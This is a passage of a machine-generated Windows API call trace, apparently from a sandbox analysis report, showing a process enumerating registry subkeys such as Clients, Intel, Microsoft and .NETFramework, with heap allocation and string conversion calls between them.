Flags=0x8, Size=0x40) returned 0x49c120 [0180.172] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0180.172] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.172] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0180.172] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x3, lpName=0x49b930, cchName=0x104 | out: lpName="Clients") returned 0x0 [0180.172] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0180.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.172] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x49c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clients", lpUsedDefaultChar=0x0) returned 7 [0180.172] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0180.172] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.172] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0180.172] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0180.172] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x4, lpName=0x49b930, cchName=0x104 | out: lpName="Intel") returned 0x0 [0180.172] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0180.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0180.172] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0180.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x49c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intel", lpUsedDefaultChar=0x0) returned 5 [0180.172] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.172] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0180.172] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.172] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0180.172] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x5, lpName=0x49b930, cchName=0x104 | out: lpName="Macromedia") returned 0x0 [0180.172] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0180.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.172] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x49c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="macromedia", lpUsedDefaultChar=0x0) returned 10 [0180.172] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0180.172] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.172] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0180.172] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0180.173] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x6, lpName=0x49b930, cchName=0x104 | out: lpName="Microsoft") returned 0x0 [0180.173] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0180.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0180.173] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0180.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x49c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft", lpUsedDefaultChar=0x0) returned 9 [0180.173] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.173] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0180.173] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.173] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0180.173] RegOpenKeyExW (in: hKey=0xa0, lpSubKey="Microsoft", ulOptions=0x0, samDesired=0x20109, phkResult=0x22f778 | out: phkResult=0x22f778*=0x24) returned 0x0 [0180.173] RegCloseKey (hKey=0xa0) returned 0x0 [0180.173] RegEnumKeyW (in: hKey=0x24, dwIndex=0x0, lpName=0x49b930, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0180.173] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0180.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0180.173] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x49c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0180.173] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0180.173] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.173] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0180.173] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0180.173] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1, lpName=0x49b930, cchName=0x104 | out: lpName="Active Setup") returned 0x0 [0180.173] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0180.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.173] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0180.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x49c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="active setup", lpUsedDefaultChar=0x0) returned 12 [0180.173] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.173] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0180.173] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.173] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0180.173] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2, lpName=0x49b930, cchName=0x104 | out: lpName="ADs") returned 0x0 [0180.174] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0180.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0180.174] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x49c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ads", lpUsedDefaultChar=0x0) returned 3 [0180.174] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0180.174] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.174] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0180.174] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0180.174] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3, lpName=0x49b930, cchName=0x104 | out: lpName="Advanced INF Setup") returned 0x0 [0180.174] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0180.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0180.174] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0180.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x49c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="advanced inf setup", lpUsedDefaultChar=0x0) returned 18 [0180.174] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.174] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0180.174] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.174] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0180.174] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4, lpName=0x49b930, cchName=0x104 | out: lpName="ALG") returned 0x0 [0180.174] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0180.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0180.174] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x49c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0180.174] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0180.174] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.174] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0180.174] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0180.174] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5, lpName=0x49b930, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0180.174] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0180.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.174] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0180.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x49c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0180.174] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.174] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0180.174] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.174] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0180.175] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6, lpName=0x49b930, cchName=0x104 | out: lpName="Assistance") returned 0x0 [0180.175] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0180.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.175] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x49c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="assistance", lpUsedDefaultChar=0x0) returned 10 [0180.175] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0180.175] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.175] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0180.175] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0180.175] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7, lpName=0x49b930, cchName=0x104 | out: lpName="BidInterface") returned 0x0 [0180.175] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0180.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.175] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0180.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x49c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bidinterface", lpUsedDefaultChar=0x0) returned 12 [0180.175] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.175] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0180.175] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.175] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0180.175] RegEnumKeyW (in: hKey=0x24, dwIndex=0x8, lpName=0x49b930, cchName=0x104 | out: lpName="COM3") returned 0x0 [0180.175] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0180.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0180.175] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x49c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="com3", lpUsedDefaultChar=0x0) returned 4 [0180.175] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0180.175] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.175] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0180.175] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0180.175] RegEnumKeyW (in: hKey=0x24, dwIndex=0x9, lpName=0x49b930, cchName=0x104 | out: lpName="Command Processor") returned 0x0 [0180.175] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0180.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0180.175] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0180.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x49c0d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="command processor", lpUsedDefaultChar=0x0) returned 17 [0180.175] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.176] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0180.176] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.176] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0180.176] RegEnumKeyW (in: hKey=0x24, dwIndex=0xa, lpName=0x49b930, cchName=0x104 | out: lpName="Connect to a Network Projector") returned 0x0 [0180.176] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0180.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0180.176] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x49c120, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="connect to a network projector", lpUsedDefaultChar=0x0) returned 30 [0180.176] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0180.176] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.176] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0180.176] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0180.176] RegEnumKeyW (in: hKey=0x24, dwIndex=0xb, lpName=0x49b930, cchName=0x104 | out: lpName="Cryptography") returned 0x0 [0180.176] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0180.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.176] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0180.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x49c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptography", lpUsedDefaultChar=0x0) returned 12 [0180.176] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.176] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0180.176] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.176] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0180.176] RegEnumKeyW (in: hKey=0x24, dwIndex=0xc, lpName=0x49b930, cchName=0x104 | out: lpName="CTF") returned 0x0 [0180.176] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0180.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0180.176] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x49c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctf", lpUsedDefaultChar=0x0) returned 3 [0180.176] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0180.176] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.176] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0180.176] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0180.176] RegEnumKeyW (in: hKey=0x24, dwIndex=0xd, lpName=0x49b930, cchName=0x104 | out: lpName="DataAccess") returned 0x0 [0180.176] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0180.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.177] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0180.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x49c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dataaccess", lpUsedDefaultChar=0x0) returned 10 [0180.177] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.177] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0180.177] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.177] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0180.177] RegEnumKeyW (in: hKey=0x24, dwIndex=0xe, lpName=0x49b930, cchName=0x104 | out: lpName="DataFactory") returned 0x0 [0180.177] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0180.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.177] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x49c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datafactory", lpUsedDefaultChar=0x0) returned 11 [0180.177] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0180.177] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.177] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0180.177] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0180.177] RegEnumKeyW (in: hKey=0x24, dwIndex=0xf, lpName=0x49b930, cchName=0x104 | out: lpName="DevDiv") returned 0x0 [0180.177] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0180.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0180.177] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0180.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x49c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="devdiv", lpUsedDefaultChar=0x0) returned 6 [0180.177] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.177] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0180.177] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.177] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0180.177] RegEnumKeyW (in: hKey=0x24, dwIndex=0x10, lpName=0x49b930, cchName=0x104 | out: lpName="Dfrg") returned 0x0 [0180.177] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0180.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0180.177] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x49c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfrg", 